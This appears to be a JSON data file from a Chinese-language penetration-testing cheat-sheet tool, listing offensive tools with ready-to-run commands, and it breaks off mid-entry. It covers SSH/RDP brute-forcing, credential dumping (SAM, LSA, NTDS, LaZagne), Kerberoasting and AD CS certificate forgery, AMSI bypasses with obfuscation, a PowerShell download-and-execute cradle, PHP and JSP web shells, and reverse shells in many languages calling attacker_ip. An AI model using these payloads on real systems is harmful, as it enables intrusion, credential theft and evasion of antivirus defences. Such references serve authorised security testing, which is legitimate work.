"command": "sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo\nsudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon",
"description": "安装Apollo(Windows)或Poseidon(Linux) Agent",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD",
"description": "通过Web界面管理C2操作",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 在Web界面:\n# 1. 创建Payload Profile\n# 2. 选择Agent类型(Apollo/Poseidon等)\n# 3. 配置C2 Profile\n# 4. 生成Payload下载",
"description": "通过图形界面配置和生成Payload",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "medusa",
"name": "Medusa",
"description": "快速并行网络登录暴力破解工具",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "medusa -h target_ip -u admin -P passwords.txt -M ssh -t 4",
"description": "4线程SSH密码暴力破解",
"platform": "all",
"syntaxBreakdown": [
{
"part": "medusa",
"explanation": "并行网络登录破解工具",
"type": "command"
},
{
"part": "-h",
"explanation": "目标主机",
"type": "parameter"
},
{
"part": "-u",
"explanation": "用户名",
"type": "parameter"
},
{
"part": "-P",
"explanation": "密码字典文件",
"type": "parameter"
},
{
"part": "-M ssh",
"explanation": "指定协议模块",
"type": "parameter"
},
{
"part": "-t 4",
"explanation": "并发线程数",
"type": "parameter"
}
]
},
{
"command": "medusa -h target_ip -U users.txt -P passwords.txt -M rdp -t 2",
"description": "RDP远程桌面密码破解",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "medusa -h target_ip -U users.txt -P passwords.txt -M ftp -f",
"description": "FTP破解(找到密码后停止)",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "medusa -H hosts.txt -U users.txt -P pass.txt -M ssh -t 3 -T 5",
"description": "批量主机爆破(5台并行)",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "ncrack",
"name": "Ncrack",
"description": "Nmap项目出品的高速网络认证破解工具",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "ncrack -vv -U users.txt -P passwords.txt ssh://target_ip",
"description": "SSH认证暴力破解",
"platform": "all",
"syntaxBreakdown": [
{
"part": "ncrack",
"explanation": "高速网络认证破解工具",
"type": "command"
},
{
"part": "-vv",
"explanation": "详细输出",
"type": "parameter"
},
{
"part": "ssh://target_ip",
"explanation": "协议://目标格式",
"type": "value"
}
]
},
{
"command": "ncrack -U users.txt -P pass.txt ssh://10.0.0.1 rdp://10.0.0.2 ftp://10.0.0.3",
"description": "同时破解多个目标的不同服务",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "ncrack -iX nmap_scan.xml -U users.txt -P pass.txt",
"description": "直接导入Nmap扫描结果进行破解",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "crowbar",
"name": "Crowbar",
"description": "专注RDP/VNC/SSH密钥/OpenVPN的暴力破解工具",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "crowbar -b rdp -s target_ip/32 -u admin -C passwords.txt -n 2",
"description": "RDP密码暴力破解(2线程)",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-b rdp",
"explanation": "指定协议类型",
"type": "parameter"
},
{
"part": "-s",
"explanation": "目标IP/CIDR",
"type": "parameter"
},
{
"part": "-n 2",
"explanation": "并发连接数",
"type": "parameter"
}
]
},
{
"command": "crowbar -b sshkey -s target_ip/32 -u root -k /path/to/keys/",
"description": "尝试多个SSH私钥登录",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "crowbar -b vnckey -s target_ip/32 -p password -k /path/to/keys/",
"description": "VNC认证暴力破解",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "patator",
"name": "Patator",
"description": "多用途模块化暴力破解工具，支持数十种协议",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "patator ssh_login host=target_ip user=FILE0 password=FILE1 0=users.txt 1=passwords.txt",
"description": "SSH登录暴力破解",
"platform": "all",
"syntaxBreakdown": [
{
"part": "ssh_login",
"explanation": "使用SSH登录模块",
"type": "command"
},
{
"part": "FILE0/FILE1",
"explanation": "引用字典文件(0和1编号)",
"type": "variable"
}
]
},
{
"command": "patator http_fuzz url=\"https://target.com/login\" method=POST body=\"user=FILE0&pass=FILE1\" 0=users.txt 1=pass.txt -x ignore:fgrep=\"Login failed\"",
"description": "HTTP登录表单暴力破解",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "patator ftp_login host=target_ip user=admin password=FILE0 0=passwords.txt",
"description": "FTP密码暴力破解",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "crackstation",
"name": "CrackStation",
"description": "在线哈希查询和离线超大字典",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "# 访问 https://crackstation.net\n# 输入哈希值(支持MD5/SHA1/SHA256等)\n# 支持批量查询(每行一个哈希)",
"description": "在线哈希值反查明文密码",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# CrackStation字典(15GB+):\n# https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm\n# 配合hashcat使用:\nhashcat -m 0 hashes.txt crackstation.txt",
"description": "使用CrackStation超大字典离线破解",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "seclists",
"name": "SecLists字典",
"description": "安全测试人员必备的字典集合(目录、密码、用户名、Payload等)",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "# 目录字典:\n/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt\n/usr/share/seclists/Discovery/Web-Content/common.txt\n\n# 密码字典:\n/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt\n\n# 用户名:\n/usr/share/seclists/Usernames/top-usernames-shortlist.txt",
"description": "SecLists常用字典路径",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "# Fuzzing Payload:\n/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt\n/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt\n\n# 子域名:\n/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n\n# 参数名:\n/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt",
"description": "特殊用途字典(LFI/SQLi/子域名/参数)",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "rockyou",
"name": "RockYou字典",
"description": "来自2009年RockYou数据泄露的经典密码字典(1400万+)",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "gzip -d /usr/share/wordlists/rockyou.txt.gz\nwc -l /usr/share/wordlists/rockyou.txt # 约14344392行",
"description": "解压Kali自带的rockyou字典",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "# Hashcat:\nhashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt\n\n# John:\njohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt\n\n# Hydra:\nhydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target",
"description": "配合各种密码破解工具使用",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "netexec",
"name": "NetExec",
"description": "CrackMapExec的继任者，网络渗透测试自动化工具",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "nxc smb 10.0.0.0/24 -u user -p password --shares\nnxc smb 10.0.0.0/24 -u user -p password --users",
"description": "SMB共享和用户枚举",
"platform": "all",
"syntaxBreakdown": [
{
"part": "nxc",
"explanation": "NetExec命令行工具",
"type": "command"
},
{
"part": "smb",
"explanation": "指定SMB协议",
"type": "parameter"
},
{
"part": "--shares",
"explanation": "枚举共享目录",
"type": "parameter"
}
]
},
{
"command": "nxc smb 10.0.0.0/24 -u users.txt -p \"Password123!\" --continue-on-success",
"description": "使用单一密码对多用户进行喷射",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "nxc smb target_ip -u admin -p password -x \"whoami\"\nnxc winrm target_ip -u admin -p password -X \"Get-Process\"",
"description": "通过SMB/WinRM执行命令",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "nxc smb target_ip -u admin -p password --sam\nnxc smb target_ip -u admin -p password --lsa\nnxc smb target_ip -u admin -p password --ntds",
"description": "提取SAM/LSA/NTDS中的凭证",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "ligolo-ng",
"name": "Ligolo-ng",
"description": "高级内网隧道代理工具，基于TUN接口",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "# 创建TUN接口\nsudo ip tuntap add user $(whoami) mode tun ligolo\nsudo ip link set ligolo up\n\n# 启动代理服务\n./proxy -selfcert -laddr 0.0.0.0:11601",
"description": "在攻击机上配置TUN接口和启动代理",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "ip tuntap add",
"explanation": "创建TUN虚拟网络接口",
"type": "command"
},
{
"part": "-selfcert",
"explanation": "使用自签名证书",
"type": "parameter"
}
]
},
{
"command": "./agent -connect attacker_ip:11601 -ignore-cert",
"description": "在目标机运行Agent连接回攻击机",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 在Ligolo控制台:\nsession\nstart\n# 在攻击机添加路由:\nsudo ip route add 10.10.10.0/24 dev ligolo",
"description": "配置路由实现内网直通",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "sharphound",
"name": "SharpHound",
"description": "BloodHound的C#数据收集器，在Windows域内收集AD信息",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": ".\\SharpHound.exe -c All",
"description": "收集所有AD域信息(用户/组/ACL/Session等)",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "-c All",
"explanation": "收集所有类型的数据",
"type": "parameter"
}
]
},
{
"command": ".\\SharpHound.exe -c DCOnly --NoSaveCache --RandomFilenames --MemCache",
"description": "仅从DC收集，不保存缓存，随机文件名",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": ".\\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00",
"description": "循环收集Session信息(2小时，每5分钟一次)",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": ".\\SharpHound.exe -c All -d child.domain.com --LdapUsername user --LdapPassword pass",
"description": "收集指定子域的信息",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "bloodhound-python",
"name": "BloodHound-Python",
"description": "BloodHound的Python数据收集器，可从Linux远程收集AD信息",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "bloodhound-python -d domain.com -u user -p password -ns dc_ip -c All",
"description": "从Linux远程收集AD域全量信息",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-d",
"explanation": "目标域名",
"type": "parameter"
},
{
"part": "-ns",
"explanation": "DNS服务器(通常是DC)",
"type": "parameter"
},
{
"part": "-c All",
"explanation": "收集所有类型数据",
"type": "parameter"
}
]
},
{
"command": "bloodhound-python -d domain.com -u user --hashes aad3b435b51404eeaad3b435b51404ee:ntlm_hash -ns dc_ip -c All",
"description": "使用NTLM哈希进行Pass-the-Hash收集",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "bloodhound-python -d domain.com -u user -p pass -ns dc_ip -c Group,LocalAdmin,Session",
"description": "仅收集组、本地管理员和会话信息",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "rubeus",
"name": "Rubeus",
"description": "Kerberos攻击工具集，用于票据操作和Kerberos攻击",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "Rubeus.exe kerberoast /outfile:hashes.txt\nRubeus.exe kerberoast /user:svc_sql /outfile:hash.txt",
"description": "请求服务票据用于离线破解",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "kerberoast",
"explanation": "请求TGS票据进行离线破解",
"type": "command"
},
{
"part": "/outfile",
"explanation": "保存哈希到文件",
"type": "parameter"
}
]
},
{
"command": "Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt",
"description": "对不需要预认证的账户请求AS-REP",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe ptt /ticket:base64_ticket\nRubeus.exe ptt /ticket:ticket.kirbi",
"description": "导入Kerberos票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe asktgt /user:user /password:pass /enctype:aes256 /ptt\nRubeus.exe asktgt /user:user /rc4:ntlm_hash /ptt",
"description": "使用密码或哈希请求TGT票据",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Rubeus.exe s4u /user:svc$ /rc4:hash /impersonateuser:admin /msdsspn:cifs/target /ptt",
"description": "S4U约束委派攻击",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "certipy",
"name": "Certipy",
"description": "AD CS(Active Directory证书服务)攻击工具",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "certipy find -u user@domain.com -p password -dc-ip dc_ip -enabled -vulnerable",
"description": "枚举可利用的证书模板",
"platform": "all",
"syntaxBreakdown": [
{
"part": "find",
"explanation": "枚举模式",
"type": "command"
},
{
"part": "-vulnerable",
"explanation": "仅显示可利用的模板",
"type": "parameter"
}
]
},
{
"command": "certipy req -u user@domain.com -p password -ca CA-NAME -template VULN_TEMPLATE -upn admin@domain.com",
"description": "ESC1: 利用允许SAN的模板伪造管理员证书",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "certipy auth -pfx admin.pfx -dc-ip dc_ip",
"description": "使用证书进行PKINIT认证获取NT Hash",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "certipy shadow auto -u user@domain.com -p password -account target_user",
"description": "Shadow Credentials攻击获取目标用户凭证",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "lazagne-tool",
"name": "LaZagne",
"description": "自动化本地密码恢复工具，支持数十种应用",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "lazagne.exe all",
"description": "提取所有支持应用的密码",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "all",
"explanation": "搜索所有支持的应用程序",
"type": "parameter"
}
]
},
{
"command": "lazagne.exe browsers\nlazagne.exe wifi\nlazagne.exe databases\nlazagne.exe sysadmin",
"description": "仅提取指定类别的密码",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "python3 lazagne.py all\npython3 lazagne.py browsers",
"description": "Linux版本使用方式",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "seatbelt",
"name": "Seatbelt",
"description": "C#安全审计工具，快速收集Windows系统安全相关信息",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "Seatbelt.exe -group=all -full",
"description": "执行所有安全检查",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "-group=all",
"explanation": "运行所有检查组",
"type": "parameter"
},
{
"part": "-full",
"explanation": "详细输出模式",
"type": "parameter"
}
]
},
{
"command": "Seatbelt.exe -group=system -group=user",
"description": "检查系统和用户相关安全配置",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Seatbelt.exe CredEnum WindowsVault SavedRDPConnections RecentFiles",
"description": "运行指定的检查模块",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Seatbelt.exe -group=remote -computername=target -username=admin -password=pass",
"description": "远程执行安全审计",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "winpeas",
"name": "WinPEAS",
"description": "Windows权限提升辅助脚本，自动发现提权路径",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "winpeasany.exe",
"description": "执行所有Windows提权检查",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "winpeasany.exe fast",
"description": "快速模式(跳过耗时检查)",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "winpeasany.exe servicesinfo\nwinpeasany.exe userinfo\nwinpeasany.exe systeminfo",
"description": "仅检查指定类别",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "winpeasany.exe log=output.txt\nwinpeasany.exe /quiet > output.txt 2>&1",
"description": "将结果保存到文件",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "linpeas",
"name": "LinPEAS",
"description": "Linux权限提升辅助脚本，自动发现提权路径",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "./linpeas.sh",
"description": "执行所有Linux提权检查",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "./linpeas.sh -a -o output.txt",
"description": "全面扫描(含耗时检查)并输出到文件",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash",
"description": "无文件落地直接执行",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "./linpeas.sh -s\n# -s: 仅超快速检查\n# -P: 仅密码相关\n# -n: 仅网络信息",
"description": "指定检查类别",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "powershell-amsi",
"name": "PowerShell AMSI绕过",
"description": "Windows AMSI(反恶意软件扫描接口)绕过技术集合",
"category": "系统命令",
"tags": [],
"commands": [
{
"command": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)",
"description": "通过反射修改amsiInitFailed标志位",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$b=$a.GetField('am'+'siIn'+'itFa'+'iled','NonPublic,Static');$b.SetValue($null,$true)",
"description": "字符串拼接绕过AMSI签名检测",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "$w='System.Management.Automation.A'+'msiUtils';[Runtime.InteropServices.Marshal]::WriteByte(([Ref].Assembly.GetType($w).GetField('a'+'msiSession',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null)),0x80)",
"description": "直接修改内存中的AMSI缓冲区",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "powershell -version 2 -command \"IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')\"",
"description": "使用PowerShell v2(无AMSI)运行脚本",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "wmic-cmd",
"name": "WMIC命令",
"description": "Windows Management Instrumentation命令行工具",
"category": "系统命令",
"tags": [],
"commands": [
{
"command": "wmic os get Caption,Version,BuildNumber,OSArchitecture\nwmic computersystem get Name,Domain,Manufacturer,Model",
"description": "获取操作系统和计算机信息",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "wmic",
"explanation": "WMI命令行工具",
"type": "command"
},
{
"part": "os get",
"explanation": "查询操作系统对象属性",
"type": "parameter"
}
]
},
{
"command": "wmic process list brief\nwmic process where name=\"cmd.exe\" get processid,commandline\nwmic process call create \"cmd.exe /c whoami > C:\\temp\\out.txt\"",
"description": "查询和创建进程",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "wmic service list brief\nwmic service where \"startmode='auto' and state='stopped'\" get name,startname",
"description": "查询服务信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "wmic /node:target_ip /user:admin /password:pass process call create \"cmd.exe /c whoami\"",
"description": "远程WMI命令执行",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "wmic product get name,version\nwmic qfe list",
"description": "列出已安装软件和补丁",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "dsquery",
"name": "DSQuery命令",
"description": "Active Directory查询命令行工具",
"category": "系统命令",
"tags": [],
"commands": [
{
"command": "dsquery user -limit 0\ndsquery user -name *admin*\ndsquery user -inactive 4",
"description": "查询域用户(所有/管理员/不活跃)",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "dsquery user",
"explanation": "查询AD用户对象",
"type": "command"
},
{
"part": "-limit 0",
"explanation": "不限制返回数量",
"type": "parameter"
}
]
},
{
"command": "dsquery computer -limit 0\ndsquery computer -name *server*",
"description": "查询域内计算机对象",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "dsquery group -name \"Domain Admins\"\ndsquery group | dsget group -members",
"description": "查询域组及成员",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "dsquery ou\ndsquery * \"DC=domain,DC=com\" -filter \"(objectclass=organizationalUnit)\" -attr name",
"description": "查询组织单位结构",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "dsquery * -filter \"(&(objectClass=user)(adminCount=1))\" -attr sAMAccountName -limit 0",
"description": "自定义LDAP过滤器查询特权用户",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "adexplorer",
"name": "AD Explorer",
"description": "Sysinternals出品的Active Directory浏览器和快照工具",
"category": "系统命令",
"tags": [],
"commands": [
{
"command": "ADExplorer.exe\n# 输入DC地址: dc.domain.com\n# 输入凭证: domain\\user / password\n# 或使用当前域凭证直连",
"description": "连接到Active Directory进行浏览",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "ADExplorer.exe -snapshot \"\" output.snp\n# 或在GUI中: File > Create Snapshot",
"description": "创建AD数据库离线快照(可用BloodHound分析)",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "# GUI操作: File > Compare\n# 选择两个时间点的快照文件\n# 对比AD变更(新用户/权限变更等)",
"description": "对比两个快照发现AD变更",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "ldeep",
"name": "ldeep",
"description": "LDAP深度枚举工具，用于从Linux远程查询AD信息",
"category": "系统命令",
"tags": [],
"commands": [
{
"command": "ldeep ldap -u user -p password -d domain.com -s dc_ip users\nldeep ldap -u user -p password -d domain.com -s dc_ip users -v",
"description": "枚举域用户",
"platform": "all",
"syntaxBreakdown": [
{
"part": "ldap",
"explanation": "使用LDAP协议连接",
"type": "parameter"
},
{
"part": "-s",
"explanation": "LDAP服务器地址",
"type": "parameter"
}
]
},
{
"command": "ldeep ldap -u user -p pass -d domain.com -s dc_ip groups\nldeep ldap -u user -p pass -d domain.com -s dc_ip gpo",
"description": "枚举组和组策略对象",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "ldeep ldap -u user -p pass -d domain.com -s dc_ip delegations\nldeep ldap -u user -p pass -d domain.com -s dc_ip trusts",
"description": "查询委派配置和域信任关系",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "ldeep ldap -u user -p pass -d domain.com -s dc_ip pso\nldeep ldap -u user -p pass -d domain.com -s dc_ip pass-pols",
"description": "查询密码策略",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "bloodhound-cypher",
"name": "BloodHound Cypher",
"description": "BloodHound Neo4j Cypher查询语句集合",
"category": "系统命令",
"tags": [],
"commands": [
{
"command": "MATCH p=shortestPath((n:User {name:\"USER@DOMAIN.COM\"})-[*1..]->(m:Group {name:\"DOMAIN ADMINS@DOMAIN.COM\"})) RETURN p",
"description": "查找指定用户到域管的最短攻击路径",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH \"KRBTGT\" RETURN u.name, u.serviceprincipalnames",
"description": "查找可进行Kerberoasting的用户",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "MATCH (u:User {dontreqpreauth:true}) RETURN u.name",
"description": "查找可进行AS-REP Roasting的用户",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name",
"description": "查找所有具有本地管理员权限的用户",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name",
"description": "查找配置了无约束委派的计算机",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword*1..]->(target) WHERE NOT u.name STARTS WITH \"KRBTGT\" RETURN p",
"description": "查找可利用的ACL权限关系",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "php-reverse",
"name": "PHP反弹Shell",
"description": "PHP语言反弹Shell命令集合",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "php -r '$sock=fsockopen(\"attacker_ip\",4444);exec(\"sh <&3 >&3 2>&3\");'",
"description": "使用exec函数反弹Shell",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "fsockopen",
"explanation": "创建TCP连接",
"type": "command"
},
{
"part": "exec",
"explanation": "执行系统命令",
"type": "command"
}
]
},
{
"command": "php -r '$sock=fsockopen(\"attacker_ip\",4444);$proc=proc_open(\"sh\",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'",
"description": "使用proc_open创建交互式Shell",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "<?php system($_GET[\"cmd\"]); ?>\n<?php echo shell_exec($_REQUEST[\"cmd\"]); ?>\n<?php eval($_POST[\"cmd\"]); ?>",
"description": "常用PHP一句话木马(仅用于安全测试)",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 下载完整PHP反弹Shell:\n# https://github.com/pentestmonkey/php-reverse-shell\n# 修改$ip和$port后上传执行",
"description": "功能完整的PHP反弹Shell脚本",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "java-reverse",
"name": "Java反弹Shell",
"description": "Java语言反弹Shell命令集合",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "Runtime rt = Runtime.getRuntime();\nString[] cmd = {\"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\"};\nrt.exec(cmd);",
"description": "Java Runtime执行反弹Shell",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlcl9pcC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}",
"description": "用于Payload注入时避免特殊字符问题",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "{echo,BASE64}",
"explanation": "输出Base64编码的命令",
"type": "command"
},
{
"part": "{base64,-d}",
"explanation": "解码Base64",
"type": "command"
},
{
"part": "{bash,-i}",
"explanation": "执行解码后的命令",
"type": "command"
}
]
},
{
"command": "<%@page import=\"java.util.*,java.io.*\"%>\n<%\nProcess p=Runtime.getRuntime().exec(\"bash -c {echo,ENCODED_CMD}|{base64,-d}|{bash,-i}\");\n%>",
"description": "JSP Web Shell方式",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "perl-reverse",
"name": "Perl反弹Shell",
"description": "Perl语言反弹Shell命令",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "perl -e 'use Socket;$i=\"attacker_ip\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"sh -i\");};'",
"description": "Perl标准反弹Shell",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"attacker_ip:4444\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
"description": "Perl IO模块方式",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "ruby-reverse",
"name": "Ruby反弹Shell",
"description": "Ruby语言反弹Shell命令",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "ruby -rsocket -e'f=TCPSocket.open(\"attacker_ip\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'",
"description": "Ruby标准反弹Shell",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-rsocket",
"explanation": "加载Socket库",
"type": "parameter"
},
{
"part": "TCPSocket.open",
"explanation": "创建TCP连接",
"type": "command"
}
]
},
{
"command": "ruby -rsocket -e 'c=TCPSocket.new(\"attacker_ip\",4444);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'",
"description": "Windows兼容版本",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "nodejs-reverse",
"name": "Node.js反弹Shell",
"description": "Node.js语言反弹Shell命令",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "node -e '(function(){var net=require(\"net\"),cp=require(\"child_process\"),sh=cp.spawn(\"sh\",[]);var client=new net.Socket();client.connect(4444,\"attacker_ip\",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();'",
"description": "Node.js标准反弹Shell",
"platform": "all",
"syntaxBreakdown": [
{
"part": "net.Socket()",
"explanation": "创建TCP Socket连接",
"type": "command"
},
{
"part": "child_process.spawn",
"explanation": "创建子进程执行Shell",
"type": "command"
}
]
},
{
"command": "require(\"child_process\").exec(\"bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'\")",
"description": "简短版本(适用于eval注入)",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "groovy-reverse",
"name": "Groovy反弹Shell",
"description": "Groovy语言反弹Shell(常用于Jenkins)",
"category": "反弹Shell",
"tags": [],
"commands": [
{
"command": "String host=\"attacker_ip\";\nint port=4444;\nString cmd=\"/bin/bash\";\nProcess p=new ProcessBuilder(cmd).redirectErrorStream(true).start();\nSocket s=new Socket(host,port);\nInputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nOutputStream po=p.getOutputStream(),so=s.getOutputStream();\nwhile(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};\np.destroy();s.close();",
"description": "Groovy完整反弹Shell(用于Jenkins Script Console)",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "\"bash -c {echo,ENCODED_CMD}|{base64,-d}|{bash,-i}\".execute()",
"description": "简短版(Base64编码命令)",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "lua-reverse",
"name": "Lua反弹Shell",
"description": "Lua语言反弹Shell命令",
"category": "反弹Shell",
"tags": [],
